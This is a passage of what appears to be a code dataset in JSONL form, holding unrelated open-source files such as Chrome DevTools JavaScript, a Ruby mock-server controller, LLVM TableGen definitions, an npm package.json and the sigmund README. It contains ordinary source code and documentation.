{!WebInspector.UISourceCode} */ (event.data);\n this._historyManager.removeHistoryForSourceCode(uiSourceCode);\n\n var wasSelected = false;\n if (this._currentUISourceCode === uiSourceCode) {\n delete this._currentUISourceCode;\n wasSelected = true;\n }\n\n // SourcesNavigator does not need to update on EditorClosed.\n this._updateScriptViewToolbarItems();\n this._searchableView.resetSearch();\n\n var data = {};\n data.uiSourceCode = uiSourceCode;\n data.wasSelected = wasSelected;\n this.dispatchEventToListeners(WebInspector.SourcesView.Events.EditorClosed, data);\n },\n\n _editorSelected: function(event)\n {\n var uiSourceCode = /** @type {!WebInspector.UISourceCode} */ (event.data.currentFile);\n var shouldUseHistoryManager = uiSourceCode !== this._currentUISourceCode && event.data.userGesture;\n if (shouldUseHistoryManager)\n this._historyManager.updateCurrentState();\n var sourceFrame = this._showFile(uiSourceCode);\n if (shouldUseHistoryManager)\n this._historyManager.pushNewState();\n\n this._searchableView.setReplaceable(!!sourceFrame && sourceFrame.canEditSource());\n this._searchableView.refreshSearch();\n\n this.dispatchEventToListeners(WebInspector.SourcesView.Events.EditorSelected, uiSourceCode);\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n */\n sourceRenamed: function(uiSourceCode)\n {\n this._recreateSourceFrameIfNeeded(uiSourceCode);\n },\n\n /**\n * @override\n */\n searchCanceled: function()\n {\n if (this._searchView)\n this._searchView.searchCanceled();\n\n delete this._searchView;\n delete this._searchConfig;\n },\n\n /**\n * @override\n * @param {!WebInspector.SearchableView.SearchConfig} searchConfig\n * @param {boolean} shouldJump\n * @param {boolean=} jumpBackwards\n */\n performSearch: function(searchConfig, shouldJump, jumpBackwards)\n {\n this._searchableView.updateSearchMatchesCount(0);\n\n var sourceFrame = this.currentSourceFrame();\n if (!sourceFrame)\n return;\n\n this._searchView = sourceFrame;\n this._searchConfig = searchConfig;\n\n /**\n * @param {!WebInspector.Widget} view\n * @param {number} searchMatches\n * @this {WebInspector.SourcesView}\n */\n function finishedCallback(view, searchMatches)\n {\n if (!searchMatches)\n return;\n\n this._searchableView.updateSearchMatchesCount(searchMatches);\n }\n\n /**\n * @param {number} currentMatchIndex\n * @this {WebInspector.SourcesView}\n */\n function currentMatchChanged(currentMatchIndex)\n {\n this._searchableView.updateCurrentMatchIndex(currentMatchIndex);\n }\n\n /**\n * @this {WebInspector.SourcesView}\n */\n function searchResultsChanged()\n {\n this.performSearch(this._searchConfig, false, false);\n }\n\n this._searchView.performSearch(this._searchConfig, shouldJump, !!jumpBackwards, finishedCallback.bind(this), currentMatchChanged.bind(this), searchResultsChanged.bind(this));\n },\n\n /**\n * @override\n */\n jumpToNextSearchResult: function()\n {\n if (!this._searchView)\n return;\n\n if (this._searchView !== this.currentSourceFrame()) {\n this.performSearch(this._searchConfig, true);\n return;\n }\n\n this._searchView.jumpToNextSearchResult();\n },\n\n /**\n * @override\n */\n jumpToPreviousSearchResult: function()\n {\n if (!this._searchView)\n return;\n\n if (this._searchView !== this.currentSourceFrame()) {\n this.performSearch(this._searchConfig, true);\n if (this._searchView)\n this._searchView.jumpToLastSearchResult();\n return;\n }\n\n this._searchView.jumpToPreviousSearchResult();\n },\n\n /**\n * @override\n * @return {boolean}\n */\n supportsCaseSensitiveSearch: function()\n {\n return true;\n },\n\n /**\n * @override\n * @return {boolean}\n */\n supportsRegexSearch: function()\n {\n return true;\n },\n\n /**\n * @override\n * @param {!WebInspector.SearchableView.SearchConfig} searchConfig\n * @param {string} replacement\n */\n replaceSelectionWith: function(searchConfig, replacement)\n {\n var sourceFrame = this.currentSourceFrame();\n if (!sourceFrame) {\n console.assert(sourceFrame);\n return;\n }\n sourceFrame.replaceSelectionWith(searchConfig, replacement);\n },\n\n /**\n * @override\n * @param {!WebInspector.SearchableView.SearchConfig} searchConfig\n * @param {string} replacement\n */\n replaceAllWith: function(searchConfig, replacement)\n {\n var sourceFrame = this.currentSourceFrame();\n if (!sourceFrame) {\n console.assert(sourceFrame);\n return;\n }\n sourceFrame.replaceAllWith(searchConfig, replacement);\n },\n\n /**\n * @param {!Event=} event\n * @return {boolean}\n */\n _showOutlineDialog: function(event)\n {\n var uiSourceCode = this._editorContainer.currentFile();\n if (!uiSourceCode)\n return false;\n\n switch (uiSourceCode.contentType()) {\n case WebInspector.resourceTypes.Document:\n case WebInspector.resourceTypes.Script:\n WebInspector.JavaScriptOutlineDialog.show(uiSourceCode, this.showSourceLocation.bind(this, uiSourceCode));\n return true;\n case WebInspector.resourceTypes.Stylesheet:\n WebInspector.StyleSheetOutlineDialog.show(uiSourceCode, this.showSourceLocation.bind(this, uiSourceCode));\n return true;\n default:\n // We don't want default browser shortcut to be executed, so pretend to handle this event.\n return true;\n }\n },\n\n /**\n * @param {string=} query\n */\n showOpenResourceDialog: function(query)\n {\n var uiSourceCodes = this._editorContainer.historyUISourceCodes();\n /** @type {!Map.} */\n var defaultScores = new Map();\n for (var i = 1; i < uiSourceCodes.length; ++i) // Skip current element\n defaultScores.set(uiSourceCodes[i], uiSourceCodes.length - i);\n WebInspector.OpenResourceDialog.show(this, query, defaultScores);\n },\n\n /**\n * @param {!Event=} event\n * @return {boolean}\n */\n _showGoToLineDialog: function(event)\n {\n if (this._currentUISourceCode)\n this.showOpenResourceDialog(\":\");\n return true;\n },\n\n /**\n * @return {boolean}\n */\n _save: function()\n {\n this._saveSourceFrame(this.currentSourceFrame());\n return true;\n },\n\n /**\n * @return {boolean}\n */\n _saveAll: function()\n {\n var sourceFrames = this._editorContainer.fileViews();\n sourceFrames.forEach(this._saveSourceFrame.bind(this));\n return true;\n },\n\n /**\n * @param {?WebInspector.SourceFrame} sourceFrame\n */\n _saveSourceFrame: function(sourceFrame)\n {\n if (!sourceFrame)\n return;\n if (!(sourceFrame instanceof WebInspector.UISourceCodeFrame))\n return;\n var uiSourceCodeFrame = /** @type {!WebInspector.UISourceCodeFrame} */ (sourceFrame);\n uiSourceCodeFrame.commitEditing();\n },\n /**\n * @return {boolean}\n */\n _toggleBreakpoint: function()\n {\n var sourceFrame = this.currentSourceFrame();\n if (!sourceFrame)\n return false;\n\n if (sourceFrame instanceof WebInspector.JavaScriptSourceFrame) {\n var javaScriptSourceFrame = /** @type {!WebInspector.JavaScriptSourceFrame} */ (sourceFrame);\n javaScriptSourceFrame.toggleBreakpointOnCurrentLine();\n return true;\n }\n return false;\n },\n\n /**\n * @param {boolean} active\n */\n toggleBreakpointsActiveState: function(active)\n {\n this._editorContainer.view.element.classList.toggle(\"breakpoints-deactivated\", !active);\n },\n\n __proto__: WebInspector.VBox.prototype\n}\n\n/**\n * @interface\n */\nWebInspector.SourcesView.EditorAction = function()\n{\n}\n\nWebInspector.SourcesView.EditorAction.prototype = {\n /**\n * @param {!WebInspector.SourcesView} sourcesView\n * @return {!WebInspector.ToolbarButton}\n */\n button: function(sourcesView) { }\n}\n\n/**\n * @constructor\n * @implements {WebInspector.ActionDelegate}\n */\nWebInspector.SourcesView.SwitchFileActionDelegate = function()\n{\n}\n\n/**\n * @param {!WebInspector.UISourceCode} currentUISourceCode\n * @return {?WebInspector.UISourceCode}\n */\nWebInspector.SourcesView.SwitchFileActionDelegate._nextFile = function(currentUISourceCode)\n{\n /**\n * @param {string} name\n * @return {string}\n */\n function fileNamePrefix(name)\n {\n var lastDotIndex = name.lastIndexOf(\".\");\n var namePrefix = name.substr(0, lastDotIndex !== -1 ? lastDotIndex : name.length);\n return namePrefix.toLowerCase();\n }\n\n var uiSourceCodes = currentUISourceCode.project().uiSourceCodes();\n var candidates = [];\n var path = currentUISourceCode.parentPath();\n var name = currentUISourceCode.name();\n var namePrefix = fileNamePrefix(name);\n for (var i = 0; i < uiSourceCodes.length; ++i) {\n var uiSourceCode = uiSourceCodes[i];\n if (path !== uiSourceCode.parentPath())\n continue;\n if (fileNamePrefix(uiSourceCode.name()) === namePrefix)\n candidates.push(uiSourceCode.name());\n }\n candidates.sort(String.naturalOrderComparator);\n var index = mod(candidates.indexOf(name) + 1, candidates.length);\n var fullPath = (path ? path + \"/\" : \"\") + candidates[index];\n var nextUISourceCode = currentUISourceCode.project().uiSourceCode(fullPath);\n return nextUISourceCode !== currentUISourceCode ? nextUISourceCode : null;\n}\n\n\nWebInspector.SourcesView.SwitchFileActionDelegate.prototype = {\n /**\n * @override\n * @param {!WebInspector.Context} context\n * @param {string} actionId\n */\n handleAction: function(context, actionId)\n {\n var sourcesView = WebInspector.context.flavor(WebInspector.SourcesView);\n var currentUISourceCode = sourcesView.currentUISourceCode();\n if (!currentUISourceCode)\n return;\n var nextUISourceCode = WebInspector.SourcesView.SwitchFileActionDelegate._nextFile(currentUISourceCode);\n if (!nextUISourceCode)\n return;\n sourcesView.showSourceLocation(nextUISourceCode);\n }\n}\n"} -{"text": "$input.text({\n text: $context.text || $clipboard.text,\n handler: function(result) {\n save(result)\n }\n})\n\nfunction save(text) {\n $reminder.create({\n title: text,\n handler: function(resp) {\n $ui.toast(resp.status ? \"\u4fdd\u5b58\u6210\u529f\" : \"\u4fdd\u5b58\u5931\u8d25\")\n }\n })\n}"} -{"text": "Filter 1: ON PK Fc 18 Hz Gain 5.1 dB Q 0.68\nFilter 2: ON PK Fc 228 Hz Gain -3.0 dB Q 0.80\nFilter 3: ON PK Fc 895 Hz Gain -3.8 dB Q 1.68\nFilter 4: ON PK Fc 3692 Hz Gain 6.5 dB Q 1.96\nFilter 5: ON PK Fc 10393 Hz Gain 6.9 dB Q 1.99\nFilter 6: ON PK Fc 2057 Hz Gain 1.9 dB Q 3.44\nFilter 7: ON PK Fc 8688 Hz Gain 4.3 dB Q 5.38\nFilter 8: ON PK Fc 12624 Hz Gain 5.1 dB Q 1.73\nFilter 9: ON PK Fc 15532 Hz Gain 5.5 dB Q 1.00\nFilter 10: ON PK Fc 19603 Hz Gain -11.6 dB Q 0.22"} -{"text": "\n\t\n\t\t\n\t\tLR(1) parser by netcan\n\t\t\n\t\t\n\n\t\t\n\t\n\t\n\n\t\t\n\t\t\t\"Fork\n\t\t\n\n\t\t
    \n\t\t\t

    LR(1) parser by netcan

    \n\n\t\t\t\n\t\t\t
    \n\t\t\t\t

    \n\t\t\t\t\tDFA Graph\n\t\t\t\t

    \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    \n\n\t\t\t
    \n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t
    \n\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    \n\t\t\t\t\t\t\t\tGrammar List\n\t\t\t\t\t\t\t

    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    IDProduction
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t
    \n\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t

    \n\t\t\t\t\t\t\t\tParse Table\n\t\t\t\t\t\t\t

    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t
    \n\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t

    \n\t\t\t\t\t\t\t\t\tParser\n\t\t\t\t\t\t\t\t

    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t
    StepstatusStackparseStackinStrStackaction
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\n"} -{"text": "\nimport typemap_out_optimal.*;\n\npublic class typemap_out_optimal_runme {\n\n static {\n try {\n\tSystem.loadLibrary(\"typemap_out_optimal\");\n } catch (UnsatisfiedLinkError e) {\n System.err.println(\"Native code library failed to load. See the chapter on Dynamic Linking Problems in the SWIG Java documentation for help.\\n\" + e);\n System.exit(1);\n }\n }\n\n public static XX x = null;\n public static void main(String argv[]) {\n XX.setDebug(false);\n x = XX.create();\n }\n}\n\n"} -{"text": "\n\n\nChapter 12. Interpolation\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
    \"BoostHomeLibrariesPeopleFAQMore
    \n
    \n
    \n\"Prev\"\"Up\"\"Home\"\"Next\"\n
    \n
    \n

    \nChapter 12. Interpolation

    \n
    \n

    Table of Contents

    \n
    \n
    Cardinal Cubic B-spline\n interpolation
    \n
    Cardinal Quadratic B-spline\n interpolation
    \n
    Cardinal Quintic B-spline\n interpolation
    \n
    Whittaker-Shannon interpolation
    \n
    Barycentric Rational Interpolation
    \n
    Vector-valued Barycentric\n Rational Interpolation
    \n
    Catmull-Rom Splines
    \n
    Cardinal Trigonometric\n interpolation
    \n
    Cubic Hermite interpolation
    \n
    Modified Akima interpolation
    \n
    PCHIP interpolation
    \n
    Quintic Hermite interpolation
    \n
    \n
    \n
    \n\n\n\n
    Copyright © 2006-2019 Nikhar\n Agrawal, Anton Bikineev, Paul A. Bristow, Marco Guazzone, Christopher Kormanyos,\n Hubert Holin, Bruno Lalande, John Maddock, Jeremy Murphy, Matthew Pulver, Johan\n Råde, Gautam Sewani, Benjamin Sobotta, Nicholas Thompson, Thijs van den Berg,\n Daryle Walker and Xiaogang Zhang

    \n Distributed under the Boost Software License, Version 1.0. (See accompanying\n file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n

    \n
    \n
    \n
    \n\"Prev\"\"Up\"\"Home\"\"Next\"\n
    \n\n\n"} -{"text": "__doctype__\n\n__header2__\n\n\n
    \n__index1__\n__index2__\n\n

    Microsoft Photo RegionInfo schema

    \n

    The Microsoft Photo RegionInfo 1.2 schema provides a set of properties for region info.\n

      \n
    • Exiv2 keys are Xmp.MPRI.<Property>
      • \n
    • The schema namespace URI is http://ns.microsoft.com/photo/1.2/t/RegionInfo#
      • \n
    • The preferred schema namespace prefix is MPRI
      • \n
    \nReference: People Tagging Overview

    \n\n

    Click on a column header to sort the table.

    \n\n__xmp_MPRI__\n\n
    \n\n\n\n\n"} -{"text": "require_relative '../controllers/application_controller'\n\nclass MockServerController < ApplicationController\n\n #\n # Gets the mock record details for the client. Does not return mock body to optimize response.\n #\n get '/api/:id' do\n mockData = Mockdata.select(:id,\n :mock_name,\n :mock_request_url,\n :mock_http_verb,\n :mock_data_response_headers,\n :mock_state, :mock_environment,\n :mock_content_type,\n :mock_served_times).where(id: params[:id])\n if (params[:id].to_i.is_a? Fixnum) && (mockData.any?)\n content_type 'application/json'\n status 200\n return mockData.first.to_json\n else\n content_type 'text/plain'\n status 404\n body 'Not Found'\n end\n end\n\n #\n # Activate a mock URL using id\n #\n post '/api/activate/:id' do\n response = activate_mock_with_id\n status = response[:status]\n body = response[:body]\n end\n\n #\n # Deactivate a mock URL using id\n #\n post '/api/deactivate/:id' do\n response = deactivate_mock_with_id\n status = response[:status]\n body = response[:body]\n end\n\n #\n # Activate replace data\n #\n\n post '/api/replace_data/activate/:id' do\n status = Replacedata.new.activate_replace_mock_data(params['id'])\n content_type 'text/plain'\n if status\n status 200\n body = 'Activated successfully'\n else\n status 404\n body = 'Could not activate'\n end\n end\n\n #\n # Deactivate mock replace data\n #\n post '/api/replace_data/deactivate/:id' do\n status = Replacedata.new.deactivate_replace_mock_data(params['id'])\n content_type 'text/plain'\n if status\n status 200\n body = 'De-activated successfully'\n else\n status 404\n body = 'Could not De-activate'\n end\n end\n\n post '/api/reset' do\n Mockdata.new.reset_served_counts\n content_type 'text/plain'\n status 200\n body = 'Served counts reset.'\n end\n\n post '/api/reset/requestlog' do\n Httprequestlog.clear_request_log\n content_type 'text/plain'\n status 200\n body = 'Request log has been cleared.'\n end\n\n #\n # Get request logs for a given time range\n # the rage is specified in the `from` and `to` query parameters\n # @example /mock/api/requestlog/range?from=2016-09-26%2016:31:00&to=2016-09-26%2016:32:11\n #\n get '/api/requestlog/range' do\n if (params.has_key?('from') && params.has_key?('to'))\n if (valid_datetime_string?(params['from']) && valid_datetime_string?(params['to']))\n if params.has_key? 'matching'\n matching_string = params['matching']\n else\n matching_string = nil\n end\n response = Httprequestlog.get_request_log(start_datetime=params['from'],\n end_datetime=params['to'],\n matching=matching_string)\n content_type 'text/json'\n if JSON.parse(response).first.has_key? 'message'\n status 404\n else\n status 200\n end\n body = response\n else\n content_type 'text/json'\n status 400\n body = '{\"message\" : \"Invalid dates supplied.\"}'\n end\n else\n content_type 'text/json'\n status 400\n body = '{\"message\" : \"Both from and to date need to be supplied as query parameters.\"}'\n end\n\n end\n\n #\n # Get recent request logs\n #\n get '/api/requestlog/recent' do\n response = Httprequestlog.get_request_log\n content_type 'text/json'\n status 200\n body = response\n end\n\n #\n # Update the replace data replacing string\n #\n post '/api/update/replacedata' do\n if (params.has_key?('string') && params.has_key?('with'))\n Replacedata.update_replace_string(params['string'],params['with'])\n content_type 'text/plain'\n status 200\n body = 'Replace data updated'\n else\n content_type 'text/plain'\n status 402\n body = 'Please supply query parameters ?string=xxx&with=yyy'\n end\n end\n\n\nend"} -{"text": "\ufeff// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.\n\nusing System;\nusing System.Threading;\nusing StarkPlatform.Compiler.Stark.Syntax;\nusing StarkPlatform.Compiler.Options;\nusing StarkPlatform.Compiler.PooledObjects;\n\nnamespace StarkPlatform.Compiler.Stark.Simplification\n{\n internal partial class CSharpInferredMemberNameReducer\n {\n private class Rewriter : AbstractReductionRewriter\n {\n public Rewriter(ObjectPool pool)\n : base(pool)\n {\n s_simplifyTupleName = SimplifyTupleName;\n }\n\n private readonly Func s_simplifyTupleName;\n\n private ArgumentSyntax SimplifyTupleName(ArgumentSyntax node, SemanticModel semanticModel, OptionSet optionSet, CancellationToken cancellationToken)\n {\n if (CanSimplifyTupleElementName(node, this.ParseOptions))\n {\n return node.WithNameColon(null).WithTriviaFrom(node);\n }\n\n return node;\n }\n\n private static readonly Func s_simplifyAnonymousTypeMemberName = SimplifyAnonymousTypeMemberName;\n\n private static SyntaxNode SimplifyAnonymousTypeMemberName(AnonymousObjectMemberDeclaratorSyntax node, SemanticModel semanticModel, OptionSet optionSet, CancellationToken canellationToken)\n {\n\n if (CanSimplifyAnonymousTypeMemberName(node))\n {\n return node.WithNameEquals(null).WithTriviaFrom(node);\n }\n\n return node;\n }\n\n public override SyntaxNode VisitArgument(ArgumentSyntax node)\n {\n var newNode = base.VisitArgument(node);\n\n if (node.Parent.IsKind(SyntaxKind.TupleExpression))\n {\n return SimplifyNode(\n node,\n parentNode: node.Parent,\n newNode: newNode,\n simplifier: s_simplifyTupleName);\n }\n\n return newNode;\n }\n\n public override SyntaxNode VisitAnonymousObjectMemberDeclarator(AnonymousObjectMemberDeclaratorSyntax node)\n {\n return SimplifyNode(\n node,\n parentNode: node.Parent,\n newNode: base.VisitAnonymousObjectMemberDeclarator(node),\n simplifier: s_simplifyAnonymousTypeMemberName);\n }\n }\n }\n}\n"} -{"text": "//=- AArch64RegisterBank.td - Describe the AArch64 Banks -----*- tablegen -*-=//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//===----------------------------------------------------------------------===//\n\n/// General Purpose Registers: W, X.\ndef GPRRegBank : RegisterBank<\"GPR\", [GPR64all]>;\n\n/// Floating Point/Vector Registers: B, H, S, D, Q.\ndef FPRRegBank : RegisterBank<\"FPR\", [QQQQ]>;\n\n/// Conditional register: NZCV.\ndef CCRegBank : RegisterBank<\"CC\", [CCR]>;\n"} -{"text": ":- module existential_error1.\n\n:- pragma termination_info(existential_error1.deconstruct_univ((builtin.in), (builtin.out)), infinite, cannot_loop).\n\n:- pragma termination2_info(existential_error1.deconstruct_univ((builtin.in), (builtin.out)), constraints([le([term(1, r(-1, 1))], r(-1, 1))]), not_set, can_loop).\n"} -{"text": "{\n \"_args\": [\n [\n \"gitbook-plugin-sharing@1.0.2\",\n \"/Users/wuchangfang/Workspace/My/django-beginners-guide/node_modules/gitbook\"\n ]\n ],\n \"_from\": \"gitbook-plugin-sharing@1.0.2\",\n \"_id\": \"gitbook-plugin-sharing@1.0.2\",\n \"_inCache\": true,\n \"_installable\": true,\n \"_location\": \"/gitbook-plugin-sharing\",\n \"_nodeVersion\": \"5.9.0\",\n \"_npmOperationalInternal\": {\n \"host\": \"packages-12-west.internal.npmjs.com\",\n \"tmp\": \"tmp/gitbook-plugin-sharing-1.0.2.tgz_1460453146662_0.12244862760417163\"\n },\n \"_npmUser\": {\n \"email\": \"johan.preynat@gmail.com\",\n \"name\": \"jpreynat\"\n },\n \"_npmVersion\": \"3.7.3\",\n \"_phantomChildren\": {},\n \"_requested\": {\n \"name\": \"gitbook-plugin-sharing\",\n \"raw\": \"gitbook-plugin-sharing@1.0.2\",\n \"rawSpec\": \"1.0.2\",\n \"scope\": null,\n \"spec\": \"1.0.2\",\n \"type\": \"version\"\n },\n \"_requiredBy\": [\n \"/gitbook\"\n ],\n \"_resolved\": \"https://registry.npmjs.org/gitbook-plugin-sharing/-/gitbook-plugin-sharing-1.0.2.tgz\",\n \"_shasum\": \"532b3af96fafba977ad3c047122642f1eeac6e81\",\n \"_shrinkwrap\": null,\n \"_spec\": \"gitbook-plugin-sharing@1.0.2\",\n \"_where\": \"/Users/wuchangfang/Workspace/My/django-beginners-guide/node_modules/gitbook\",\n \"bugs\": {\n \"url\": \"https://github.com/GitbookIO/plugin-sharing/issues\"\n },\n \"dependencies\": {\n \"lodash\": \"^3.10.1\"\n },\n \"description\": \"Sharing buttons in GitBooks website\",\n \"devDependencies\": {\n \"eslint\": \"^2.7.0\"\n },\n \"directories\": {},\n \"dist\": {\n \"shasum\": \"532b3af96fafba977ad3c047122642f1eeac6e81\",\n \"tarball\": \"https://registry.npmjs.org/gitbook-plugin-sharing/-/gitbook-plugin-sharing-1.0.2.tgz\"\n },\n \"engines\": {\n \"gitbook\": \">=2.4.0\"\n },\n \"gitHead\": \"728a267fc9e8f3be0c076150a8b6bbdf2bcab4de\",\n \"gitbook\": {\n \"properties\": {\n \"all\": {\n \"default\": [\n \"facebook\",\n \"google\",\n \"instapaper\",\n \"twitter\",\n \"weibo\"\n ],\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"uniqueItems\": true\n },\n \"facebook\": {\n \"default\": true,\n \"title\": \"Facebook\",\n \"type\": \"boolean\"\n },\n \"google\": {\n \"default\": false,\n \"title\": \"Google\",\n \"type\": \"boolean\"\n },\n \"instapaper\": {\n \"default\": false,\n \"description\": \"Instapaper\",\n \"type\": \"boolean\"\n },\n \"twitter\": {\n \"default\": true,\n \"title\": \"Twitter\",\n \"type\": \"boolean\"\n },\n \"vk\": {\n \"default\": false,\n \"description\": \"VK\",\n \"type\": \"boolean\"\n },\n \"weibo\": {\n \"default\": false,\n \"description\": \"Weibo\",\n \"type\": \"boolean\"\n }\n }\n },\n \"homepage\": \"https://github.com/GitbookIO/plugin-sharing\",\n \"license\": \"Apache-2.0\",\n \"main\": \"index.js\",\n \"maintainers\": [\n {\n \"name\": \"jpreynat\",\n \"email\": \"johan.preynat@gmail.com\"\n },\n {\n \"name\": \"samypesse\",\n \"email\": \"samypesse@gmail.com\"\n }\n ],\n \"name\": \"gitbook-plugin-sharing\",\n \"optionalDependencies\": {},\n \"readme\": \"ERROR: No README data found!\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/GitbookIO/plugin-sharing.git\"\n },\n \"scripts\": {},\n \"version\": \"1.0.2\"\n}\n"} -{"text": "---\ntitle: Zodiac\nrepo: nuex/zodiac\nhomepage: http://github.com/nuex/zodiac\nlanguage:\n - Awk\nlicense:\n - MIT\ntemplates:\n - Custom\ndescription: A static site generator powered by awk and sh.\n---\n\nZodiac is a static website generator that uses existing tools like awk, sh, find, cp, etc., to generate a static website. Zodiac is small, fast and sports a simple templating system and the ability to customize output using helpers written in awk.\n"} -{"text": "staged_changes_modified_file\nstaged_changes_modified_file\nstaged_changes_modified_file\n"} -{"text": "define(\"ace/snippets/powershell\",[\"require\",\"exports\",\"module\"], function(require, exports, module) {\n\"use strict\";\n\nexports.snippetText =undefined;\nexports.scope = \"powershell\";\n\n});\n"} -{"text": "#\n# (C) Copyright 2000-2002\n# Wolfgang Denk, DENX Software Engineering, wd@denx.de.\n#\n# See file CREDITS for list of people who contributed to this\n# project.\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License as\n# published by the Free Software Foundation; either version 2 of\n# the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n# MA 02111-1307 USA\n#\n\ninclude $(TOPDIR)/config.mk\n\nLIB = libgeneric.a\nOBJS = crc32.o \\\n\tctype.o \\\n\tdisplay_options.o \\\n\tstring.o \\\n\tLzmaDecode.o \\\n\tLzmaWrapper.o \\\n\tvsprintf.o\n\nCFLAGS += -DCONFIG_LZMA=1\n\n$(LIB): .depend $(OBJS)\n\t$(AR) crv $@ $(OBJS)\n\n#########################################################################\n\n.depend: Makefile $(OBJS:.o=.c)\n\t$(CC) -M $(CFLAGS) $(OBJS:.o=.c) > $@\n\nsinclude .depend\n\n#########################################################################\n"} -{"text": "# sigmund\n\nQuick and dirty signatures for Objects.\n\nThis is like a much faster `deepEquals` comparison, which returns a\nstring key suitable for caches and the like.\n\n## Usage\n\n```javascript\nfunction doSomething (someObj) {\n var key = sigmund(someObj, maxDepth) // max depth defaults to 10\n var cached = cache.get(key)\n if (cached) return cached\n\n var result = expensiveCalculation(someObj)\n cache.set(key, result)\n return result\n}\n```\n\nThe resulting key will be as unique and reproducible as calling\n`JSON.stringify` or `util.inspect` on the object, but is much faster.\nIn order to achieve this speed, some differences are glossed over.\nFor example, the object `{0:'foo'}` will be treated identically to the\narray `['foo']`.\n\nAlso, just as there is no way to summon the soul from the scribblings\nof a cocaine-addled psychoanalyst, there is no way to revive the object\nfrom the signature string that sigmund gives you. In fact, it's\nbarely even readable.\n\nAs with `util.inspect` and `JSON.stringify`, larger objects will\nproduce larger signature strings.\n\nBecause sigmund is a bit less strict than the more thorough\nalternatives, the strings will be shorter, and also there is a\nslightly higher chance for collisions. For example, these objects\nhave the same signature:\n\n var obj1 = {a:'b',c:/def/,g:['h','i',{j:'',k:'l'}]}\n var obj2 = {a:'b',c:'/def/',g:['h','i','{jkl']}\n\nLike a good Freudian, sigmund is most effective when you already have\nsome understanding of what you're looking for. It can help you help\nyourself, but you must be willing to do some work as well.\n\nCycles are handled, and cyclical objects are silently omitted (though\nthe key is included in the signature output.)\n\nThe second argument is the maximum depth, which defaults to 10,\nbecause that is the maximum object traversal depth covered by most\ninsurance carriers.\n"} -{"text": "package org.nd4j.linalg.shape;\n\nimport lombok.val;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\nimport org.nd4j.linalg.BaseNd4jTest;\nimport org.nd4j.linalg.api.ndarray.INDArray;\nimport org.nd4j.linalg.api.shape.Shape;\nimport 